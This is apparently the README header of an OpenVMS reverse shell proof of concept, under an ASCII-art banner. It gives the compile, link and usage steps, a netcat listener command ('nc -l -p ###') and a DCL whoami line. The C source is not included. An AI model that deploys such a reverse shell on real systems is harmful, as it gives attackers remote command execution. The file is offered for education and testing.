/$$ /$$ /$$ /$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$ | $$ | $$| $$ /$$__ $$ | $$ | $$| $$$ /$$$ /$$__ $$ /$$ /$$ /$$$$$$$| $$$$$$$ /$$$$$$ | $$| $$ | $$ \ $$ /$$$$$$ /$$$$$$ /$$$$$$$ | $$ | $$| $$$$ /$$$$| $$ \__/ | $$ /$$//$$_____/| $$__ $$ /$$__ $$| $$| $$ | $$ | $$ /$$__ $$ /$$__ $$| $$__ $$| $$ / $$/| $$ $$/$$ $$| $$$$$$ \ $$/$$/| $$$$$$ | $$ \ $$| $$$$$$$$| $$| $$ | $$ | $$| $$ \ $$| $$$$$$$$| $$ \ $$ \ $$ $$/ | $$ $$$| $$ \____ $$ \ $$$/ \____ $$| $$ | $$| $$_____/| $$| $$ | $$ | $$| $$ | $$| $$_____/| $$ | $$ \ $$$/ | $$\ $ | $$ /$$ \ $$ \ $/ /$$$$$$$/| $$ | $$| $$$$$$$| $$| $$ | $$$$$$/| $$$$$$$/| $$$$$$$| $$ | $$ \ $/ | $$ \/ | $$| $$$$$$/ \_/ |_______/ |__/ |__/ \_______/|__/|__/ \______/ | $$____/ \_______/|__/ |__/ \_/ |__/ |__/ \______/ | $$ | $$ OpenVMS Reverse Shell PoC ========================= This program demonstrates connecting to a remote host and executing DCL commands over the network connection for educational/testing purposes. Compilation on OpenVMS: $ CC/DEFINE=(_SOCKADDR_LEN) vshell.c $ LINK vshell.obj Usage: $ vshell :== $SYS$SYSROOT:[.PATH.TO.VSHELL]vshell.exe $ vshell On the remote host, start a listener first: $ nc -l -p ### Here is a VMS way of running whoami WRITE SYS$OUTPUT F$GETJPI("","USERNAME")